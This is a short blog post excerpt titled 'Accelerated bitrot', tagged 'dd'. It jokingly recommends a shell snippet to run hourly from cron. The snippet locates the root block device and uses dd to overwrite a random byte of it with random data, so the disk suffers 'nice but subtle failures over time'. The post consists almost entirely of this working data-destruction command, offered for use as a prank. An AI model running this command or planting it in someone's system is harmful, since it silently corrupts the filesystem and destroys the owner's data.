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Posts Tagged ‘ dd ’

Accelerated bitrot

  • January 18th, 2010
  • Posted in Filesystem Follies
  • By Mule

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time: ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc [ READ MORE ]

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